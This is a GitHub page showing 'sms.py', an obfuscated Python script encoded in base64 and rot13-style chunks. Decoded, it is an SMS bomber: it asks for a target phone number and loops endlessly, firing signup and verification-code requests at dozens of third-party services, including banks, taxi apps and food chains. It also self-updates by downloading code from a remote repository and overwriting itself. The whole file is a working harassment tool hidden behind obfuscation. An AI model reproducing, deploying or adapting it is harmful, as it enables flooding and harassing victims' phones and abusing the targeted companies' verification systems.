-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathsms.py
8 lines (8 loc) · 20.5 KB
/
sms.py
1
2
3
4
5
6
7
8
import base64, codecs
magic = 'aW1wb3J0IHJlcXVlc3RzLCByYW5kb20sIGRhdGV0aW1lLCBzeXMsIHRpbWUsIGFyZ3BhcnNlLCBvcw0KZnJvbSBjb2xvcmFtYSBpbXBvcnQgaW5pdCwgRm9yZSwgQmFjaywgU3R5bGUNCmZyb20gdGltZSBpbXBvcnQgc2xlZXANCmltcG9ydCB1cmxsaWIucmVxdWVzdA0KaW5pdCgpDQoNCnByaW50KEZvcmUuR1JFRU4gKyBCYWNrLkJMQUNLICsgU3R5bGUuQlJJR0hUICsgJycnDQogX19fX19fICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyANCiggIF9fICBcICggIF9fX18gXCggICAgICAgKSggIF9fXyAgKS8gX19fICAgKSggIF9fXyAgKQ0KfCAoICBcICApfCAoICAgIFwvfCAoKSAoKSB8fCAoICAgKSB8XC8gICApICB8fCAoICAgKSB8DQp8IHwgICApIHx8IChfXyAgICB8IHx8IHx8IHx8IHwgICB8IHwgICAgLyAgICl8IChfX18pIHwNCnwgfCAgIHwgfHwgIF9fKSAgIHwgfChfKXwgfHwgfCAgIHwgfCAgIC8gICAvIHwgIF9fXyAgfA0KfCB8ICAgKSB8fCAoICAgICAgfCB8ICAgfCB8fCB8ICAgfCB8ICAvICAgLyAgfCAoICAgKSB8DQp8IChfXy8gICl8IChfX19fL1x8ICkgICAoIHx8IChfX18pIHwgLyAgIChfL1x8ICkgICAoIHwNCihfX19fX18vIChfX19fX19fL3wvICAgICBcfChfX19fX19fKShfX19fX19fL3wvICAgICBcfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCicnJyArIFN0eWxlLlJFU0VUX0FMTCkNCg0KDQogICAgICAgICAgICANCmRlZiBzaHV0ZG93bihzaWduYWwsIGZyYW1lKToNCiAgICBwcmludCAoJ1xuXDAzM1sxOzMxbUN0cmwrQyB3YXMgcHJlc3NlZCwgc2h1dHRpbmcgZG93biFcMDMzWzBtJykNCiAgICBzeXMuZXhpdCgpDQogICAgDQpkZWYgY2hlY2tpbnRlcm5ldCgpOg0KICAgIHJlcyA9IEZhbHNlDQogICAgdHJ5Og0KICAgICAgICByZXF1ZXN0cy5nZXQoJ2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20nLCB2ZXJpZnk9VHJ1ZSkNCiAgICAgICAgcmVzID0gRmFsc2UNCiAgICBleGNlcHQgRXhjZXB0aW9uOg0KICAgICAgICByZXMgPSBUcnVlDQogICAgaWYgcmVzOg0KICAgICAgICBwcmludCgiXG5cblx0SXQgc2VlbXMgVGhhdCBZb3VyIEludGVybmV0IFNwZWVkIGlzIFNsb3cgb3IgWW91IEFyZSBVc2luZyBQcm94aWVzLi4iKQ0KICAgICAgICBiYW5uZXIoKQ0KICAgICAgICBleGl0KCkNCmRlZiB1cGRhdGUoKToNCiAgICBzdHVmZl90b191cGRhdGUgPSBbJ3Ntcy5weScsICcudmVyc2lvbiddDQogICAgZm9yIGZsIGluIHN0dWZmX3RvX3VwZGF0ZToNCiAgICAgICAgZGF0ID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbigNCiAgICAgICAgICAgICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZGVtb3phL1JlYm9ybi9tYXN0ZXIvIiArIGZsKS5yZWFkKCkNCiAgICAgICAgZmlsZSA9IG9wZW4oZmwsICd3YicpDQogICAgICAgIGZpbGUud3JpdGUoZGF0KQ0KICAgICAgICBmaWxlLmNsb3NlKCkNCiAgICBwcmludCgnXG5cdFx0VXBkYXRlZCBTdWNjZXNzZnVsbCAhISEhJykNCiAgICBwcmludCgnXHRQbGVhc2UgUnVuIFRoZSBTY3JpcHQgQWdhaW4uLi4nKQ0KICAgIGV4aXQoKQ0KDQp0cnk6DQogICAgdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbScpDQpleGNlcHQgRXhjZXB0aW9uOg0KICAgIHByaW50KCJZb3UgYXJlIG5vdCBjb25uZWN0ZWQgVG8gSW50ZXJuZXQhISEiKQ0KICAgIHByaW50KCJcdFBsZWFzZSBDb25uZWN0IFRvIEludGVybmV0IFRvIENvbnRpbnVlLi4uXG4iKQ0KICAgIGlucHV0KCdFeGl0aW5nLi4uLlxuIFByZXNzIEVudGVyIFRvIENvbnRpbnVlLi4uLicpDQogICAgZXhpdCgpDQpwcmludCgnXHRDaGVja2luZyBGb3IgVXBkYXRlcy4uLicpDQp2ZXIgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKA0KICAgICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZGVtb3phL1JlYm9ybi9tYXN0ZXIvLnZlcnNpb24iKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpDQp2ZXJsID0gJycNCnRyeToNCiAgICB2ZXJsID0gb3BlbigiLnZlcnNpb24iLCAncicpLnJlYWQoKQ0KZXhjZXB0IEV4Y2VwdGlvbjoNCiAgICBwYXNzDQppZiB2ZXIgIT0gdmVybDoNCiAgICBwcmludCgnXHRcdFVwZGF0ZSBpcyBBdmFpbGFibGUuLi4uJykNCiAgICBwcmludCgnXHRTdGFydGluZyBVcGRhdGUuLi4nKQ0KICAgIHVwZGF0ZSgpDQpwcmludCgiWW91ciBWZXJzaW9uIGlzIFVwLVRvLURhdGUiKQ0KdHJ5Og0KICAgIG5vdGkgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKA0KICAgICAgICAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2RlbW96YS9SZWJvcm4vbWFzdGVyLy5ub3RpZnkiKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpDQogICAgbm90aSA9IG5vdGkudXBwZXIoKS5zdHJpcCgpDQogICAgaWYgbGVuKG5vdGkpID4gMTA6DQogICAgICAgIHByaW50KCdcblxuXHROT1RJRklDQVRJT046ICcgKyBub3RpICsgJ1xuXG4nKQ0KZXhjZXB0IEV4Y2VwdGlvbjoNCiAgICBwYXNzDQogICAgDQogICAgDQogICAgDQpfcGhvbmUgPSBpbnB1dCgnRW50ZXIgVGFyZ2V0IE51bWJlciAtLT4+ICcpDQpfbmFtZSA9ICcnDQpmb3IgeCBpbiByYW5nZSgxMik6DQoJX25hbWUgPSBfbmFtZSArIHJhbmRvbS5jaG9pY2UobGlzdCgnMTIzNDU2Nzg5cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFlVSU9QQVNERkdISktMWlhDVkJOTScpKQ0KCXBhc3N3b3JkID0gX25hbWUgKyByYW5kb20uY2hvaWNlKGxpc3QoJzEyMzQ1Njc4OXF3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tUVdFUlRZVUlPUEFTREZHSEpLTFpYQ1ZCTk0nKSkNCgl1c2VybmFtZSA9IF9uYW1lICsgcmFuZG9tLmNob2ljZShsaXN0KCcxMjM0NTY3ODlxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubVFXRVJUWVVJT1BBU0RGR0hKS0xaWENWQk5NJykpDQoNCl9waG9uZTkgPSBfcGhvbmVbMTpdDQpfcGhvbmVBcmVzQmFuayA9ICcrJytfcGhvbmVbMF0rJygnK19waG9uZVsxOjRdKycpJytfcGhvbmVbNDo3XSsnLScrX3Bob25lWzc6OV0rJy0nK19waG9uZVs5OjExXQ0KX3Bob25lOWRvc3RhdmlzdGEgPSBfcGhvbmU5WzozXSsnKycrX3Bob25lOVszOjZdKyctJytfcGhvbmU5WzY6OF0rJy0nK19waG9uZTlbODoxMF0NCl9waG9uZU9zdGluID0gJysnK19waG9uZVswXSsnKygnK19waG9uZVsxOjRdKycpJytfcGhvbmVbNDo3XSsnLScrX3Bob25lWzc6OV0rJy0nK19waG9uZVs5OjExXQ0KX3Bob25lUGl6emFodXQgPSAnKycrX3Bob25lWzBdKycgKCcrX3Bob25lWzE6NF0rJykgJytfcGhvbmVbNDo3XSsnICcrX3Bob25lWzc6OV0rJyAnK19waG9uZVs5OjExXQ0KX3Bob25lR29yemRyYXYgPSBfcGhvbmVbMTo0XSsnKSAnK19waG9uZVs0OjddKyctJytfcGhvbmVbNzo5XSsnLScrX3Bob25lWzk6MTFdDQoNCg0KDQoNCg0KDQppdGVyYXRpb24gPSAwDQoNCg0KICAgIA0KDQoNCg0Kd2hpbGUgVHJ1ZToNCglfZW1haWwgPSBfbmFtZStmJ3tpdGVyYXRpb259JysnQGdtYWlsLmNvbScNCgllbWFpbCA9IF9uYW1lK2Yne2l0ZXJhdGlvbn0nKydAZ21haWwuY29tJw0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9wLmdyYWJ0YXhpLmNvbS9hcGkvcGFzc2VuZ2VyL3YyL3Byb2ZpbGVzL3JlZ2lzdGVyJywgZGF0YT17J3Bob25lTnVtYmVyJzogX3Bob25lLCdjb3VudHJ5Q29kZSc6ICdJRCcsJ25hbWUnOiAndGVzdCcsJ2VtYWlsJzogJ21haWxAbWFpbC5jb20nLCdkZXZpY2VUb2tlbic6ICcqJ30sIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28p'
love = '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'
god = 'cmkgUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vbGsuaW52aXRyby5ydS9sazIvbGthL3BhdGllbnQvcmVmcmVzaENvZGUnLCBkYXRhPXsncGhvbmUnOiBfcGhvbmV9KQ0KCQlwcmludCgnWytdIEludml0cm8gUmVxdWVzdHMgU3VjY2Vzc2Z1bCEnKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBJbnZpdHJvIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL29ubGluZS5zYmlzLnJ1L3JlZy9zZXJ2aWNlLycsIGpzb249eydqc29ucnBjJzonMi4wJywncHJvdG9jb2wnOic1JywnbWV0aG9kJzon0J/QvtC70YzQt9C+0LLQsNGC0LXQu9GMLtCX0LDRj9Cy0LrQsNCd0LDQpNC40LfQuNC60LAnLCdwYXJhbXMnOnsncGhvbmUnOl9waG9uZX0sJ2lkJzonMSd9KQ0KCQlwcmludCgnWytdIFNiZXJiYW5rIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gU2JlcmJhbmsgUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vaWIucHNiYW5rLnJ1L2FwaS9hdXRoZW50aWNhdGlvbi9leHRlbmRlZENsaWVudEF1dGhSZXF1ZXN0JywganNvbj17J2ZpcnN0TmFtZSc6J9CY0LLQsNC9JywnbWlkZGxlTmFtZSc6J9CY0LLQsNC90L7QstC40YcnLCdsYXN0TmFtZSc6J9CY0LLQsNC90L7QsicsJ3NleCc6JzEnLCdiaXJ0aERhdGUnOicxMC4xMC4yMDAwJywnbW9iaWxlUGhvbmUnOiBfcGhvbmU5LCdydXNzaWFuRmVkZXJhdGlvblJlc2lkZW50JzondHJ1ZScsJ2lzRFNBJzonZmFsc2UnLCdwZXJzb25hbERhdGFQcm9jZXNzaW5nQWdyZWVtZW50JzondHJ1ZScsJ2JLSVJlcXVlc3RBZ3JlZW1lbnQnOidudWxsJywncHJvbW90aW9uQWdyZWVtZW50JzondHJ1ZSd9KQ0KCQlwcmludCgnWytdIFBzYmFuayBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIFBzYmFuayBSZXF1ZXN0cyBGYWlsZWQhJykNCg0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9teWFwaS5iZWx0ZWxlY29tLmJ5L2FwaS92MS9hdXRoL2NoZWNrLXBob25lP2xhbmc9cnUnLCBkYXRhPXsncGhvbmUnOiBfcGhvbmV9KQ0KCQlwcmludCgnWytdIEJlbHRlbGNvbSBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIEJlbHRlbGNvbSBSZXF1ZXN0cyBGYWlsZWQhJykNCg0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9hcHAua2FydXNlbC5ydS9hcGkvdjEvcGhvbmUvJywgZGF0YT17J3Bob25lJzogX3Bob25lfSkNCgkJcHJpbnQoJ1srXSBLYXJ1c2VsIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gS2FydXNlbCBSZXF1ZXN0cyBGYWlsZWQhJykNCg0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9hcHAtYXBpLmtmYy5ydS9hcGkvdjEvY29tbW9uL2F1dGgvc2VuZC12YWxpZGF0aW9uLXNtcycsIGpzb249eydwaG9uZSc6ICcrJyArIF9waG9uZX0pDQoJCXByaW50KCdbK10gS0ZDIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gS0ZDIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCJodHRwczovL2FwaS5jYXJzbWlsZS5jb20vIixqc29uPXsib3BlcmF0aW9uTmFtZSI6ICJlbnRlclBob25lIiwgInZhcmlhYmxlcyI6IHsicGhvbmUiOiBfcGhvbmV9LCJxdWVyeSI6ICJtdXRhdGlvbiBlbnRlclBob25lKCRwaG9uZTogU3RyaW5nISkge1xuICBlbnRlclBob25lKHBob25lOiAkcGhvbmUpXG59XG4ifSkNCgkJcHJpbnQoJ1srXSBjYXJzbWlsZSBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIGNhcnNtaWxlIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL3d3dy5jaXRpbGluay5ydS9yZWdpc3RyYXRpb24vY29uZmlybS9waG9uZS8rJyArIF9waG9uZSArICcvJykNCgkJcHJpbnQoJ1srXSBDaXRpbGluayBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIENpdGlsaW5rIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCJodHRwczovL2FwaS5kZWxpdGltZS5ydS9hcGkvdjIvc2lnbnVwIixkYXRhPXsiU2lnbnVwRm9ybVt1c2VybmFtZV0iOiBfcGhvbmUsICJTaWdudXBGb3JtW2RldmljZV90eXBlXSI6IDN9KQ0KCQlwcmludCgnWytdIERlbGl0aW1lIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gRGVsaXRpbWUgUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLmdldCgnaHR0cHM6Ly9maW5kY2xvbmUucnUvcmVnaXN0ZXInLCBwYXJhbXM9eydwaG9uZSc6ICcrJyArIF9waG9uZX0pDQoJCXByaW50KCdbK10gZmluZGNsb25lIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gZmluZGNsb25lIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCJodHRwczovL2d1cnUudGF4aS9hcGkvdjEvZHJpdmVyL3Nlc3Npb24vdmVyaWZ5Iixqc29uPXsicGhvbmUiOiB7ImNvZGUiOiAxLCAibnVtYmVyIjogX3Bob25lfX0pDQoJCXByaW50KCdbK10gR3VydSBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIEd1cnUgUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vd3d3LmljcS5jb20vc21zcmVnL3JlcXVlc3RQaG9uZVZhbGlkYXRpb24ucGhwJyxkYXRhPXsnbXNpc2RuJzogX3Bob25lLCAibG9jYWxlIjogJ2VuJywgJ2NvdW50cnlDb2RlJzogJ3J1JywndmVyc2lvbic6ICcxJywgImsiOiAiaWMxcnR3ejFzMUhqMU8wciIsICJyIjogIjQ2NzYzIn0pDQoJCXByaW50KCdbK10gSUNRIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gSUNRIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCJodHRwczovL3RlcnJhLTEuaW5kcml2ZXJhcHAuY29tL2FwaS9hdXRob3JpemF0aW9uP2xvY2FsZT1ydSIsZGF0YT17Im1vZGUiOiAicmVxdWVzdCIsICJwaG9uZSI6ICIrIiArIF9waG9uZSwicGhvbmVfcGVybWlzc2lvbiI6ICJ1bmtub3duIiwgInN0cmVhbV9pZCI6IDAsICJ2IjogMywgImFwcHZlcnNpb24iOiAiMy4yMC42Iiwib3N2ZXJzaW9uIjogInVua25vd24iLCAiZGV2aWNlbW9kZWwiOiAidW5rbm93biJ9KQ0KCQlwcmludCgnWytdIEluRHJpdmVyIFJlcXVlc3RzIFN1Y2Nlc3NmdWwhJykNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gSW5Ecml2ZXIgUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoImh0dHBzOi8vbGsuaW52aXRyby5ydS9zcC9tb2JpbGVBcGkvY3JlYXRlVXNlckJ5UGFzc3dvcmQiLCBkYXRhPXsicGFzc3dvcmQiOiBwYXNzd29yZCwgImFwcGxpY2F0aW9uIjogImxrcCIsICJsb2dpbiI6ICIrIiArIF9waG9uZX0pDQoJCXByaW50KCdbK10gSW52aXRybyBSZXF1ZXN0cyBTdWNjZXNzZnVsIScpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIEludml0cm8gUmVxdWVzdHMgRmFpbGVkIScpDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vdWJlLnBtc20ub3JnLnJ1L2VzYi9pcW9zLXBob25lL3ZhbGlkYXRlJyxqc29uPXsicGhvbmUiOiBfcGhvbmV9KQ0KCQlwcmludCgnWytdIFBtc20gUmVxdWVzdHMgU3VjY2Vzc2Z1bCEnKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBQbXNtIFJlcXVlc3RzIEZhaWxlZCEnKQ0KDQoJdHJ5'
